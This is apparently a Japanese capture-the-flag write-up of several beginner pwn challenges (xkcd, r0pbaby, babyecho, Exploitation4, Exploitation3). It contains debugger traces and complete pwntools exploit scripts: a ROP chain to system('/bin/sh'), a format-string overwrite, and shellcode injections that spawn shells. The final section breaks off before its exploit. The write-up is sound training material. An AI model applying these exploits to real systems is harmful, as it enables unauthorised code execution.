pwnlist baby xkcd
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ file xkcd |sed -e "s/,/\n/g" xkcd: ELF 64-bit LSB executable x86-64 version 1 (GNU/Linux) statically linked for GNU/Linux 2.6.32 not stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ checksec.sh --file xkcd RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH xkcd
NX有効
解析
プログラムを実行するとflagが開けないと言われる.
mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ ./xkcd Could not open the flag.
straceで実行してみると,どうやらflagという名前のファイルを開いている.今回はこのflagの中身を見ることができれば良いらしい.
mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ strace ./xkcd execve("./xkcd", ["./xkcd"], [/* 50 vars */]) = 0 uname({sysname="Linux", nodename="4ctf", ...}) = 0 brk(NULL) = 0xde9000 brk(0xdea1c0) = 0xdea1c0 arch_prctl(ARCH_SET_FS, 0xde9880) = 0 readlink("/proc/self/exe", "/home/mattun-mart/Workspace/pwn/"..., 4096) = 46 brk(0xe0b1c0) = 0xe0b1c0 brk(0xe0c000) = 0xe0c000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("flag", O_RDONLY) = -1 ENOENT (No such file or directory) write(1, "Could not open the flag.", 24Could not open the flag.) = 24 write(1, "\n", 1 ) = 1 exit_group(-1) = ? +++ exited with 255 +++
flag_desuyoという文字列を書いたファイルflagを作成して,再度実行してみると,入力待ちになる.
テキトーに入力してみると,形式が間違っていると言われる.
mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ ./xkcd aaa MALFORMED REQUEST
デバッガで追ってみる.
strtok関数によって入力された文字列を区切り文字?で分解.
[-------------------------------------code-------------------------------------] 0x401027 <main+201>: mov esi,0x487e04 0x40102c <main+206>: mov rdi,rax 0x40102f <main+209>: mov eax,0x0 => 0x401034 <main+214>: call 0x4196a0 <strtok> 0x401039 <main+219>: cdqe 0x40103b <main+221>: mov QWORD PTR [rbp-0x28],rax 0x40103f <main+225>: mov rax,QWORD PTR [rbp-0x28] 0x401043 <main+229>: mov esi,0x487e06 Guessed arguments: arg[0]: 0x6bae20 --> 0xa6161616161 ('aaaaa\n') arg[1]: 0x487e04 --> 0x524556524553003f ('?')
その後,文字列SERVER, ARE YOU STILL THEREと比較していた.
[-------------------------------------code-------------------------------------] 0x40103f <main+225>: mov rax,QWORD PTR [rbp-0x28] 0x401043 <main+229>: mov esi,0x487e06 0x401048 <main+234>: mov rdi,rax => 0x40104b <main+237>: call 0x4002d0 # 文字列同士を比較.同じ値であればeaxに0を返す. 0x401050 <main+242>: test eax,eax 0x401052 <main+244>: je 0x401068 <main+266> # 値が同じであれば処理を継続 0x401054 <main+246>: mov edi,0x487e22 0x401059 <main+251>: call 0x408260 <puts> Guessed arguments: arg[0]: 0x6bae20 --> 0xa6161616161 ('aaaaa\n') arg[1]: 0x487e06 ("SERVER, ARE YOU STILL THERE")
その後も,区切り文字によって入力した文字列を分解しながら,処理を進めていく.
結局入力形式は,下記の通り.なお,使用されない値は1文字以上は入力する必要がある.
入力形式: SERVER, ARE YOU STILL THERE? IF SO, REPLY "出力する文字列"使用されない値(終端文字を挿入する位置) 例: SERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAA" (4)
やってることはざっくりこんな感じ.デバッガで追っていけばわかる.
1.flagファイルからflagの内容を0x6b7540に読み込み.
2.ユーザから入力された文字列を受け取る
3.入力された文字列から区切り文字?で分解
4.分解した文字列とSERVER, ARE YOU STILL THERE比較.一致していれば処理5,していなければ終了.
5.分解後に残った文字列を区切り文字"で分解
6.分解した文字列と IF SO, REPLY を比較.一致していれば処理7,していなければ終了.
7.5と同様に分解.
8.分解後の文字列をmemcpy関数で0x6b7340にコピー.
9.分解後に残った文字列を区切り文字(で分解.
10.分解後に残った文字列を区切り文字)で分解.
11.分解後の文字列(数値)をsscanfにより,変数に代入.
12.分解後の文字列(数値)+出力する文字列を格納する変数のアドレス(0x6b7340)の位置に終端文字を挿入.
13.出力する文字列の長さ ≧ 10で分解して得た値(終端文字を挿入する位置)であれば,0x6b7340に格納された文字列を出力して,再度2の処理へ.条件が合わなければ終了.
memcpyでコピーされる文字列が格納されるアドレス(0x6b7340)の0x200下にはflagの内容が格納されている.
ということは,0x200(512)文字分出力する文字列を入力し,終端文字列の挿入位置を512+flagにしてやればflagの内容も一緒に出力できる.
Exploit
今回は,flagファイルの中身はflag_desuyoとしたので,523(512+11)の位置に終端文字列を挿入してやれば良い.
ただし実際の問題では,flagの中身がわからないのでflag分の文字数を変えながら徐々に出力してやる必要がある.
SERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" (523)
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/xkcd$ ./xkcd SERVER, ARE YOU STILL THERE? IF SO, REPLY "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" (523) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag_desuyo
pwnlist baby r0pbaby
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ file r0pbaby | sed -e "s/,/\n/g" r0pbaby: ELF 64-bit LSB shared object x86-64 version 1 (SYSV) dynamically linked interpreter /lib64/ld-linux-x86-64.so.2 for GNU/Linux 2.6.24 stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ checksec.sh --file r0pbaby RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH r0pbaby
NX有効.
解析
起動させるとメニューが表示される.それぞれの処理は下記の通り.
1.libcの値を取得して表示.(ただし,正しいlibc_baseのアドレスではなかった)
2.入力したlibc内の関数のアドレスを取得して表示.
3.入力したバイト数分データを送信.
4.プログラムの終了.
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit
さっそくメニュー2の処理でsystem関数のアドレスを出してみると,それらしきものが出力された.
デバッガの方でsystem関数のアドレスを調べてみたところ,出力されたアドレスは正しいアドレスを出力していた.
ということは,取得したsystem関数のアドレスからsystem関数の相対アドレスを引いてlibc_baseのアドレスを求めることが可能.
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: system Symbol system: 0x00007F4A2A142390
あと,メニュー3の処理にはどうやらバグがあるらしい.
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 10 AAAAAAAAAA 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. Segmentation fault (コアダンプ)
デバッガで調べてみるとバッファオーバーフローが起きていた.
入力した内容は,memcpy関数によってrbpのアドレスにコピーされるため,リターンアドレスが書き換わってしまうらしい.
[----------------------------------registers-----------------------------------] RAX: 0xa ('\n') RBX: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") RCX: 0x7f4a2a1f4260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0xa ('\n') RSI: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") RDI: 0x7ffd42a4eff0 --> 0x55862e0a3031 RBP: 0x7ffd42a4eff0 --> 0x55862e0a3031 RSP: 0x7ffd42a4eba0 --> 0x7ffd42a4ec34 --> 0x0 RIP: 0x55862e53de4e (call 0x55862e53d9d0 <memcpy@plt>) R8 : 0x7f4a2a8d5700 (0x00007f4a2a8d5700) R9 : 0x7f4a2a8d5700 (0x00007f4a2a8d5700) R10: 0x0 R11: 0x246 R12: 0xa ('\n') R13: 0xa ('\n') R14: 0xa ('\n') R15: 0x7f4a2a4c2710 --> 0x7f4a2a4c18e0 --> 0xfbad2288 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x55862e53de45: mov rdx,r12 0x55862e53de48: mov rsi,rbx 0x55862e53de4b: mov rdi,rbp => 0x55862e53de4e: call 0x55862e53d9d0 <memcpy@plt> 0x55862e53de53: jmp 0x55862e53dcca 0x55862e53de58: lea rdi,[rip+0x181] # 0x55862e53dfe0 0x55862e53de5f: call 0x55862e53d970 <puts@plt> 0x55862e53de64: jmp 0x55862e53dcca Guessed arguments: arg[0]: 0x7ffd42a4eff0 --> 0x55862e0a3031 arg[1]: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") arg[2]: 0xa ('\n') [------------------------------------stack-------------------------------------] 0000| 0x7ffd42a4eba0 --> 0x7ffd42a4ec34 --> 0x0 0008| 0x7ffd42a4eba8 --> 0x7f4a2a8d74e8 --> 0x7f4a2a0fd000 --> 0x3010102464c457f 0016| 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") 0024| 0x7ffd42a4ebb8 --> 0x7f4a2a6c0a41 (MemError) 0032| 0x7ffd42a4ebc0 --> 0x7f4a2a6cb450 --> 0xc002200000110 0040| 0x7ffd42a4ebc8 --> 0x7ffd42a4ec38 --> 0x0 0048| 0x7ffd42a4ebd0 --> 0x3de00ec7 0056| 0x7ffd42a4ebd8 --> 0xf7803b
64ビット環境なので8文字以降の入力でリターンアドレスを書き換えられる.
あとは,リークしたlibc_baseアドレスを使ってsystem関数を呼び出してあげれば良さそう.
Exploit
libc_baseを特定するために,libc内のsystem関数の相対アドレスを調べる.
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ ldd r0pbaby linux-vdso.so.1 => (0x00007ffceaf86000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fc1828cb000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc182501000) /lib64/ld-linux-x86-64.so.2 (0x00007fc182cd2000) mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system 0000000000045390 T __libc_system 0000000000138810 T svcerr_systemerr 0000000000045390 W system
シェルを起動するために/bin/shという文字列が必要になるため,これもlibc内を調べる.
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep bin/sh 18cd57 /bin/sh
64bit環境では引数はレジスタを利用するため,/bin/shをレジスタに渡してsystem関数を呼び出す必要がある.(ただし,引数が多いとレジスタも使用される.)
第一引数はrdiに渡せば良いので,「pop rdi; ret」という命令をlibc内から探す.
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ rp -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 --unique | grep "pop rdi" 0x0010741a: pop rdi ; call rax ; (1 found) 0x000f9901: pop rdi ; jmp qword [rbp+rax*2-0x77] ; (2 found) 0x00104052: pop rdi ; jmp rax ; (1 found) 0x00037861: pop rdi ; rep ret ; (5 found) 0x00021102: pop rdi ; ret ; (535 found) 0x00067499: pop rdi ; retn 0xFFFF ; (1 found)
材料は揃ったのであとは組み立てるだけ.
#~/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct #context.log_level = 'debug' conn = process('./r0pbaby') # 実際はリモートで動いているlibcを特定する必要あり # 各値は筆者の環境で調べた値 libc_system_offset = 0x45390 binsh_offset = 0x18cd57 pop_ret_edi_offset = 0x21102 conn.recv() conn.send("2\n") conn.recv() conn.send("system\n") libc_system = int(conn.recvline()[15:].strip("\n"),16) libc_base = libc_system - libc_system_offset payload = "AAAAAAAA" payload += p64(libc_base + pop_ret_edi_offset) # ediに/bin/shを渡してsystem関数起動 payload += p64(libc_base + binsh_offset) # popでediに渡す値 payload += p64(libc_system) # retの飛び先 payload += "\n" conn.send("3\n") conn.send(str(len(payload)) + "\n") conn.send(payload) conn.send("4\n") conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ python exploit.py [+] Starting local process './r0pbaby': pid 10018 [*] Switching to interactive mode 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Enter bytes to send (max 1024): 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Exiting. $ ls a.out core dump exploit.py peda-session-r0pbaby.txt r0pbaby
pwnlist baby babyecho
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ file babyecho | sed -e "s/,/\n/g" babyecho: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked for GNU/Linux 2.6.24 BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ checksec.sh --file babyecho RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH babyecho
解析
プログラムを実行すると入力が求められる.いろいろ入力しているとFSBがあることがわかった.(入力の値は7番目)
ただし,この入力サイズは13byteに限られているので,シェルコードを積むのが難しい.
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ ./babyecho Reading 13 bytes %p%p%p%p%p%p 0xd0xa(nil)0xd0xff8c750c(nil) Reading 13 bytes
サイズを書き換える必要があるのでサイズの位置を探す.
[----------------------------------registers-----------------------------------] EAX: 0x11 EBX: 0x80481a8 (push ebx) ECX: 0xffffffff EDX: 0x80eb4d4 --> 0x0 ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffa89868 --> 0x80497d0 (push ebx) ESP: 0xffa89440 --> 0x80be5f1 ("Reading %d bytes\n") EIP: 0x8048fe8 (mov eax,DWORD PTR [esp+0x10]) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048fb6: mov eax,0x3ff 0x8048fbb: cmp DWORD PTR [esp+0x10],0x3ff 0x8048fc3: cmovle eax,DWORD PTR [esp+0x10] # eax(0x3ff) >= esp+0x10(0xd)だったらesp+0x10の値をeaxに転送 0x8048fc8: mov DWORD PTR [esp+0x10],eax 0x8048fcc: mov eax,DWORD PTR [esp+0x10] 0x8048fd0: mov DWORD PTR [esp+0x4],eax 0x8048fd4: mov DWORD PTR [esp],0x80be5f1 0x8048fdb: call 0x804f560 0x8048fe0: mov DWORD PTR [esp+0x8],0xa => 0x8048fe8: mov eax,DWORD PTR [esp+0x10] # 読み込みサイズの値を 0x8048fec: mov DWORD PTR [esp+0x4],eax # 引数に指定 0x8048ff0: lea eax,[esp+0x1c] 0x8048ff4: mov DWORD PTR [esp],eax 0x8048ff7: call 0x8048e24 [------------------------------------stack-------------------------------------] 0000| 0xffa89440 --> 0x80be5f1 ("Reading %d bytes\n") 0004| 0xffa89444 --> 0xd ('\r') 0008| 0xffa89448 --> 0xa ('\n') 0012| 0xffa8944c --> 0x0 0016| 0xffa89450 --> 0xd ('\r') 0020| 0xffa89454 --> 0xffa8945c --> 0x41410041 ('A') 0024| 0xffa89458 --> 0x0 0028| 0xffa8945c --> 0x41410041 ('A')
どうやら0xffa89450の値を毎回指定していることがわかった.
しかもこの値,引数に指定する前に3ffと比較して3ff以下であれば値0xdを指定するようになっている.
つまりサイズを0x3ffを超える値に書き換えてやれば,サイズが0x3ffに指定される.
ということで,入力サイズを変えてみる.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct context(os='linux', arch='i386') #context.log_level = 'debug' conn = process('./babyecho') shellcode = asm(shellcraft.sh()) # leack stack, culculate addr conn.recv() conn.send("%5$p\n") input_addr = int(conn.recv(10),16) size_addr = input_addr - 0xc # change size payload = p32(size_addr + 1) print len(payload) payload += "%99x" payload += "%7$n" payload += "\n" conn.send(payload) conn.interactive()
うまく書き換わった.
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ python change_size.py [+] Starting local process './babyecho': pid 8390 4 [*] Switching to interactive mode Reading 13 bytes !\xbf\xaa\xff d Reading 1023 bytes $ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
リターンアドレスと入力との差は0x410なので,入力からリターンアドレスの位置を計算できる.
あとは,シェルコードを積んでリターンアドレスでシェルコードに飛んでやれば良い.
ただし,このプログラムは入力をループしているので,ループから抜け出す必要がある.
0xffa89458の値が0ではないときにループから抜け出すらしいので,書き換えてやれば良い.
[----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x80481a8 (push ebx) ECX: 0x80eb4d4 --> 0x0 EDX: 0x80481a8 (push ebx) ESI: 0x0 EDI: 0x80ea00c --> 0x8067f00 (mov edx,DWORD PTR [esp+0x4]) EBP: 0xffa89868 --> 0x80497d0 (push ebx) ESP: 0xffa89440 --> 0x14 EIP: 0x804902c (cmp DWORD PTR [esp+0x18],0x0) EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804901b: call 0x804fde0 0x8049020: mov DWORD PTR [esp],0x14 0x8049027: call 0x806cb50 => 0x804902c: cmp DWORD PTR [esp+0x18],0x0 0x8049031: je 0x8048fb6 0x8049033: mov eax,0x0 0x8049038: mov edx,DWORD PTR [esp+0x41c] 0x804903f: xor edx,DWORD PTR gs:0x14 [------------------------------------stack-------------------------------------] 0000| 0xffa89440 --> 0x14 0004| 0xffa89444 --> 0xd ('\r') 0008| 0xffa89448 --> 0xa ('\n') 0012| 0xffa8944c --> 0x0 0016| 0xffa89450 --> 0xd ('\r') 0020| 0xffa89454 --> 0xffa8945c --> 0x610061 ('a') 0024| 0xffa89458 --> 0x0 0028| 0xffa8945c --> 0x610061 ('a')
Exploit
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct context(os='linux', arch='i386') #context.log_level = 'debug' conn = process('./babyecho') shellcode = asm(shellcraft.sh()) # leack stack conn.recv() conn.send("%5$p\n") input_addr = int(conn.recv(10),16) # culculate addr size_addr = input_addr - 0xc break_flag_addr = input_addr - 0x4 ret_addr = input_addr + 0x410 # change size payload = p32(size_addr + 1) payload += "%99x" payload += "%7$n" payload += "\n" conn.send(payload) shellcode_addr = input_addr + 0xc shellcode_addr_high = shellcode_addr >> 16 shellcode_addr_low = shellcode_addr & 0x000ffff offset = shellcode_addr_high - shellcode_addr_low # shell payload = p32(break_flag_addr) payload += p32(ret_addr) payload += p32(ret_addr + 2) payload += shellcode output_length = len(payload) payload += "%7$hhn" # ループの判定書き換え payload += "%" + str(shellcode_addr_low - output_length) + "x" payload += "%8$hn" # リターンアドレス書き換え payload += "%" + str(offset) + "x" payload += "%9$hn" # リターンアドレス書き換え payload += "\n" conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ python exploit.py [+] Starting local process './babyecho': pid 9457 [*] Switching to interactive mode Reading 13 bytes \x11E\x93\xff d Reading 1023 bytes \x18E\x93\xff,I\x93\xff.I\x93\xffjhh///sh/bin\x89�h\x814$ri1�Qj\x04Y�Q��1�j\x0bX̀ 3ff a $ ls babyecho core ex.py peda-session-babyecho.txt strings change_size.py dump exploit.py peda-session-dash.txt
pwnlist baby Exploitation4
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ file miteegashun | sed -e "s/,/\n/g" miteegashun: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked for GNU/Linux 2.6.24 BuildID[sha1]=41bbe92f629cbca9784458456d94282b2d2fd9e0 stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ checksec.sh --file miteegashun RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH miteegashun
解析
実行ファイルを起動すると入力を求められる.
いっぱい入力してみると,プログラムが落ちる.
Welcome to this demo of my exploit mitigation This mitigation is unbeatable, prove me wrong AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
デバッガで見てみるとバッファオーバーフローしていることがわかる.
[----------------------------------registers-----------------------------------] EAX: 0x41414141 ('AAAA') EBX: 0x0 ECX: 0x3 EDX: 0x80f04e1 ('A' <repeats 200 times>...) ESI: 0x0 EDI: 0x8049770 (push ebx) EBP: 0x41414141 ('AAAA') ESP: 0x80f0444 ('A' <repeats 200 times>...) # ESPが入力AAA...で上書きされている. EIP: 0x8048f50 (ret) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048f48: lea edx,[edx+ecx*4] 0x8048f4b: mov eax,DWORD PTR [edx] 0x8048f4d: mov DWORD PTR [esp],eax => 0x8048f50: ret 0x8048f51: mov eax,DWORD PTR [esp] 0x8048f54: mov ecx,DWORD PTR ds:0x80f0669 0x8048f5a: mov edx,0x80f04d5 0x8048f5f: lea edx,[edx+ecx*4] [------------------------------------stack-------------------------------------]
入力から処理を追っていくと,どうやら入力した値を.data領域の変数にコピーしているらしい.
しかし,コピーの際に変数の大きさ以上にコピーできるため,リターンアドレスの書き換えが可能.
リターンアドレスはedx(0x80f04e1)であるから,入力データを格納する変数のアドレス(0x80f0340)との差は417.
つまり417文字以降の入力でリターンアドレスを書き換えられる.
入力データを格納する変数のアドレスはわかっているからあとは入力にシェルコードを積んで実行するだけ.
Exploit
#~/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct import time #context.log_level = 'debug' conn = process('./miteegashun') data_addr = 0x80f0340 shellcode = asm(shellcraft.sh()) payload = shellcode payload += "A" * (417 - len(shellcode)) payload += p32(data_addr) payload += "\n" conn.recv() conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ python exploit.py [+] Starting local process './miteegashun': pid 11479 [*] Switching to interactive mode $ ls core exploit.py peda-crashdump-miteegashun.txt strings dump miteegashun peda-session-miteegashun.txt
pwnlist baby Exploitation3
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation3$ file fil_chal | sed -e "s/,/\n/g" fil_chal: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.24 BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af stripped
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH fil_chal
NX,SSP無効.Full RELOなためGotOverwriteはできない.
解析
実行ファイルをstraceを用いて起動すると,ポート34266で接続を待ち受けているので,ncコマンドを用いて接続.
接続するとユーザ名,パスワードを求められる.stringsコマンドで実行ファイル中の文字列を眺めているとそれらしきものを発見.(実際はデバッガで解析する.たぶんcmp命令とかで比較している内容見ればわかる.)それぞれ入力すると情報のサイズと内容を入力できる.
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation3$ nc localhost 34266 ************* $$$$$$$$$ AAAAAAA ***** ***** * ******* * $ $$ $$ A A * * * * * * *** $ $ $$ A A A A * * * * * * $ $ A A___A A * * * * * * $ $ A A * * **** * * * * $ $ A AAA A * * * * * * * * *** $ $ A A A A * *** *** * * ******** * $$$$$$ $ A A A A * * ************* $$$$$$$$$$ AAAAAA AAAAAA ************* Dairy UserName: csaw2013 Password: S1mplePWD Welcome! http://youtu.be/KmtzQCSh6xk Entry Info: 100 aaa Til next time
デバッガで動きを追ってみると,どうやら入力されたデータサイズの文字列をatoi関数で数値に変換して,その値のサイズ分入力を受け取るということをやっているらしい.しかし,データサイズの入力は負数も受け取ることができるため,次の入力で馬鹿でかいサイズを入力することができる.情報の入力を格納する領域は1052(0x41c)分しか確保されていないので,1056文字を超える入力でリターンアドレスを書き換えることが可能.
[----------------------------------registers-----------------------------------] EAX: 0x4 EBX: 0x0 ECX: 0x0 EDX: 0xffffcbec --> 0x0 ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0x804967b ("Til next time\n\n") EBP: 0xffffd008 --> 0xffffd048 --> 0xffffd138 --> 0xffffd148 --> 0x0 ESP: 0xffffcb30 --> 0x4 EIP: 0x8048f7a (call 0x8048890 <recv@plt>) EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048f6d: lea edx,[ebp-0x41c] # 情報を格納する領域を確保 0x8048f73: mov DWORD PTR [esp+0x4],edx 0x8048f77: mov DWORD PTR [esp],eax => 0x8048f7a: call 0x8048890 <recv@plt> # データサイズに-1を指定すると確保した領域以上の入力をすることが可能 0x8048f7f: mov WORD PTR [ebp-0x16],ax 0x8048f83: cmp WORD PTR [ebp-0x16],0xffff 0x8048f88: jne 0x8048f9b 0x8048f8a: mov DWORD PTR [esp],0x8049986 Guessed arguments: arg[0]: 0x4 arg[1]: 0xffffcbec --> 0x0 arg[2]: 0xffffffff # データサイズがとんでもなく大きくなっている. arg[3]: 0x0
Exploit
NXが無効になっているので,どこかにシェルコードを積んで実行してやれば良い.
今回はrecv関数を利用してbss領域にシェルコードを積んで実行させるようにした.
